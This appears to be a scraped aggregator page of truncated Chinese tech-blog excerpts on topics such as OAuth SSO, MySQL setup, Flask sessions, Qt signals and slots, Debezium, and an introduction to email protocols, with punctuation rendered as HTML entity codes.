实现 INFINI Console 与 GitHub 的单点登录集成:一站式身份验证解决方案

本文将为您详细解析如何通过 GitHub OAuth 2.0 协议&#xff0c;为 INFINI Console 实现高效、安全的单点登录&#xff08;Single Sign-On, SSO&#xff09;集成。通过此方案&#xff0c;用户可直接使用 GitHub 账户无缝登录 INFINI Console&#xff0c;简化身份验证流程&#…...

Linux系统安装MySQL5.7(其他版本类似)避坑指南

1.远程连接 在Linux系统安装好MySQL5.7数据库&#xff0c;不要以为就大功告成了后面还有大坑等着你踩了。宏哥这里介绍一下远程连接遇到的坑以及如何处理。由于征文要求安装环境教学除外宏哥这里就不介绍在Linux系统安装mysql数据库&#xff0c;有需要的可以自己百度一下。但是…...

新数据结构(12)——代理

什么是代理 在进行操作时有时不希望用户直接接触到目标&#xff0c;这时需要使用代理让用户间接接触到目标 给目标对象提供一个代理对象&#xff0c;并且由代理对象控制着对目标对象的引用 图解&#xff1a; 代理的目的 控制访问&#xff1a;通过代理对象的方式间接的访问目…...

VLM(视觉语言模型)与DeepSeek R1(奖励机制)如何结合

VLM&#xff08;视觉语言模型&#xff09;与DeepSeek R1&#xff08;奖励机制&#xff09;如何结合 flyfish VLM的传统训练依赖于监督学习&#xff08;直接拟合问答对&#xff09;&#xff0c;而规则奖励函数通常用于强化学习&#xff08;通过试错和奖励反馈优化策略&#xf…...

问题:Flask应用中的用户会话(Session)管理失效

我来分享一个常见的PythonWeb开发问题&#xff1a; 问题&#xff1a;Flask应用中的用户会话(Session)管理失效 这是一个在Flask开发中经常遇到的问题。当用户登录后&#xff0c;有时会话会意外失效&#xff0c;导致用户需要重复登录。 解决方案&#xff1a; 1. 首先&#x…...

Qt/C++面试【速通笔记一】

Qt 信号与槽机制 什么是信号&#xff08;Signal&#xff09;和槽&#xff08;Slot&#xff09;&#xff1f; 在Qt中&#xff0c;信号&#xff08;Signal&#xff09;和槽&#xff08;Slot&#xff09;是实现对象之间通信的一种机制。信号是对象在某些事件发生时发出的通知&…...

RoCBert:具有多模态对比预训练的健壮中文BERT

摘要 大规模预训练语言模型在自然语言处理&#xff08;NLP&#xff09;任务上取得了最新的最优结果&#xff08;SOTA&#xff09;。然而&#xff0c;这些模型容易受到对抗攻击的影响&#xff0c;尤其是对于表意文字语言&#xff08;如中文&#xff09;。 在本研究中&#xff0…...

DeepSeek入门到大师 清华大学[1-5版]全集

1、文件概览 1、清华大学《DeepSeek:从入门到精通》 2、清华大学《Deepseek如何赋能职场应用?》 3、清华大学《普通人如何抓住DeepSeek红利》 4、清华大学《DeepSeekDeepResearch让科研像聊天一样简单》 5、清华大学《DeepSeek与AI幻觉》 6、天津大学《深度解读Deepseek:原理…...

Debezium:实时数据捕获与同步的利器

一、什么是 Debezium Debezium 是一个开源的分布式平台&#xff0c;专门用于捕获数据库中的数据变更。它通过读取数据库的事务日志&#xff0c;能够以非侵入性的方式捕获数据库中发生的所有变化&#xff0c;并将这些变化转化为事件流&#xff0c;实时推送到像 Kafka 这样的消息…...

【蓝桥杯】第十五届省赛大学真题组真题解析

【蓝桥杯】第十五届省赛大学真题组真题解析 一、智能停车系统 1、知识点 &#xff08;1&#xff09;flex-wrap 控制子元素的换行方式 属性值有&#xff1a; no-wrap不换行wrap伸缩容器不够则自动往下换行wrap-reverse伸缩容器不够则自动往上换行 &#xff08;2&#xff0…...

AI助力下的PPT革命:DeepSeek 与Kimi的高效创作实践

清华大学出品《DeepSeek&#xff1a;从入门到精通》分享 在忙碌的职场中&#xff0c;制作一份高质量的PPT往往需要投入大量时间和精力&#xff0c;尤其是在临近截止日期时。今天&#xff0c;我们将探索如何借助 AI 工具 —— DeepSeek 和 Kimi —— 让 PPT 制作变得既快捷又高…...

【MySQL篇】持久化和非持久化统计信息的深度剖析(含analyze命令和mysqlcheck工具两种收集方式)

&#x1f4ab;《博主介绍》&#xff1a;✨又是一天没白过&#xff0c;我是奈斯&#xff0c;从事IT领域✨ &#x1f4ab;《擅长领域》&#xff1a;✌️擅长阿里云AnalyticDB for MySQL(分布式数据仓库)、Oracle、MySQL、Linux、prometheus监控&#xff1b;并对SQLserver、NoSQL(…...

C++ 手撕定时器

C 手撕定时器 思路与知识调用场景类声明 参考 思路与知识 1. 为了支持相同时间戳下多个任务&#xff0c;需要考虑到支持重复key的std::mutimap, 以及成员函数equal_range 2. 工具函数Timer::GetTick 返回一个uint64_t毫秒时间戳作为multimap的key&#xff0c;需要会使用chrono…...

邮件安全之发件人伪造

电子邮件工作原理 电子邮件传输过程中主要涉及到SMTP、IMAP、POP3三种协议&#xff0c;具体功能如下&#xff1a; SMTP:全称Simple Mail Transfer Protocol&#xff0c;即简单邮件传输协议&#xff0c;主要用于发送邮件&#xff0c;使用端口号25。 IMAP:全称Internet Mail Acce…...

前端八股——JS+ES6

前端八股&#xff1a;JSES6 说明&#xff1a;个人总结&#xff0c;用于个人复习回顾&#xff0c;将持续改正创作&#xff0c;已在语雀公开&#xff0c;欢迎评论改正。...

Qt QTreeWidget 总结

Qt QTreeWidget 总结 1. 概述 QTreeWidget 是 Qt 中用于显示树形结构的控件&#xff0c;继承自 QTreeView&#xff0c;但提供了更简单的接口。适合展示层级数据&#xff08;如文件目录、组织结构&#xff09;。每个节点是 QTreeWidgetItem 对象&#xff0c;支持文本、图标、复…...

Python常见面试题的详解16

1. 如何强行关闭客户端和服务器之间的连接&#xff1f; 在网络编程中&#xff0c;有时需要强行中断客户端和服务器之间的连接。对于基于 TCP 协议的连接&#xff0c;由于其面向连接的特性&#xff0c;需要采取特定的步骤来确保连接被正确关闭&#xff1b;而 UDP 是无连接协议&a…...

前端设计模式面试题及参考答案

目录 如何用闭包实现单例模式?列举两种实现方式 工厂模式与构造函数创建对象的核心区别是什么? 抽象工厂模式如何解决多平台 UI 组件兼容问题? 原型模式在前端框架中如何优化对象创建性能? 建造者模式如何实现复杂表单配置的链式调用? 单例模式在全局状态管理中的典型…...

Python Django系列—入门实例(二)

数据库配置 现在&#xff0c;打开 mysite/settings.py 。这是个包含了 Django 项目设置的 Python 模块。 默认情况下&#xff0c;​ DATABASES 配置使用 SQLite。如果你是数据库新手&#xff0c;或者只是想尝试 Django&#xff0c;这是最简单的选择。SQLite 包含在 Python 中…...

STM32-智能台灯项目

一、项目需求 1. 红外传感器检测是否有人&#xff0c;有人的话实时检测距离&#xff0c;过近则报警&#xff1b;同时计时&#xff0c;超过固定时间则报警&#xff1b; 2. 按键 1 切换工作模式&#xff1a;智能模式、按键模式、远程模式&#xff1b; 3. 智能模式下&#xff0c;根…...

HTML之JavaScript DOM操作元素(2)

HTML之JavaScript DOM操作元素&#xff08;2&#xff09; 4.增删元素var element document.createElement("元素名") 创建新元素父元素.appendChild(子元素) 在父元素中追加子元素父元素.insertBefore(新元素,参照元素) 在特定元素之前新增元…...

智能优化算法:莲花算法(Lotus flower algorithm,LFA)介绍,提供MATLAB代码

一、 莲花算法 1.1 算法原理 莲花算法&#xff08;Lotus flower algorithm&#xff0c;LFA&#xff09;是一种受自然启发的优化算法&#xff0c;其灵感来源于莲花的自清洁特性和授粉过程。莲花的自清洁特性&#xff0c;即所谓的“莲花效应”&#xff0c;是由其叶片表面的微纳…...

【复习】计算机网络

网络模型 OSI 应用层&#xff1a;给应用程序提供统一的接口表示层&#xff1a;把数据转换成兼容另一个系统能识别的格式会话层&#xff1a;负责建立、管理、终止表示层实体之间的通信会话传输层&#xff1a;负责端到端的数据传输网络层&#xff1a;负责数据的路由、转发、分片…...

【R语言】读取CSV数据时,显示[1] PK...<0 行> (或0-长度的row.names)

一、问题 当我使用以下代码读取CSV数据后&#xff0c;发现使用head(data)显示[1] PK...<0 行> (或0-长度的row.names)&#xff0c;如下截图所示。 # 尝试读取文件 data <- read.csv("C:\\Users\\11300\\Desktop\\test.csv", header TRUE) # 检查数据 hea…...

CentOS环境变量配置+解析

环境变量的作用就是让系统快速通过你的命令找到你的可执行程序&#xff0c;windows系统里也同理&#xff0c;也就是你每次输入个命令&#xff0c;系统就会找环境变量里到底有没有叫这个命令进程的 一、环境变量配置 1.编辑配置文件 vim /etc/profile export PATH$PATH:$JAVA…...

最新版本Exoplayer扩展FFmpeg音频软解码保姆级教程

ExoPlayer 是一个开源的 Android 媒体播放库&#xff0c;由 Google 开发和维护&#xff0c;用于替代 Android 系统自带的 MediaPlayer。它提供了更强大的功能、更好的性能和更高的灵活性&#xff0c;适用于各种复杂的媒体播放场景。所以被广泛用于各种播放器场景。 最近项目中…...

【蓝桥杯集训·每日一题2025】 AcWing 6134. 哞叫时间II python

6134. 哞叫时间II Week 1 2月20日 农夫约翰正在试图向埃尔茜描述他最喜欢的 USACO 竞赛&#xff0c;但她很难理解为什么他这么喜欢它。 他说「竞赛中我最喜欢的部分是贝茜说『现在是哞哞时间』并在整个竞赛中一直哞哞叫」。 埃尔茜仍然不理解&#xff0c;所以农夫约翰将竞赛…...

HTML/CSS中子代选择器

1.作用:选中指定元素中,符合要求的子元素. 子代选择器又称:子元素选择器,子选择器. 2.语法:选择器1>选择器2>选择器3>......选择器n 3.实例 <style>/* div中子代选择器 */div>a{color: red;}</style><div><a href"#">张三</…...

计算机毕业设计SpringBoot+Vue.jst网上购物商城系统(源码+LW文档+PPT+讲解)

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…...

EasyRTC:全平台支持与自研算法驱动的智能音视频通讯解决方案

在智能硬件的浪潮中&#xff0c;设备之间的互联互通已成为提升用户体验的核心需求。无论是智能家居、智能办公&#xff0c;还是工业物联网&#xff0c;高效的音视频通讯和交互能力是实现智能化的关键。然而&#xff0c;传统音视频解决方案往往面临平台兼容性差、交互体验不佳以…...

C#: 日志函数

背景&#xff1a; 1.常见的官方日志模块项目过于复杂&#xff0c;且配置过于繁琐&#xff0c;针对这种现象&#xff0c;实现在大型项目中快速定位错误问题&#xff1b; 实现思路&#xff1a; 1.设置当前日志文件路径&#xff08;获取到当前文件应用程序路径 \ErrorLog) 2.判…...

PyTorch 是如何进行机器学习的

1. 机器学习的核心流程 机器学习的核心是通过数据训练模型&#xff0c;让模型学会从输入数据中提取规律&#xff0c;并对新数据做出预测。整个过程可以分为以下几个步骤&#xff1a; 准备数据&#xff1a;收集并整理数据&#xff0c;分为输入&#xff08;特征&#xff09;和输…...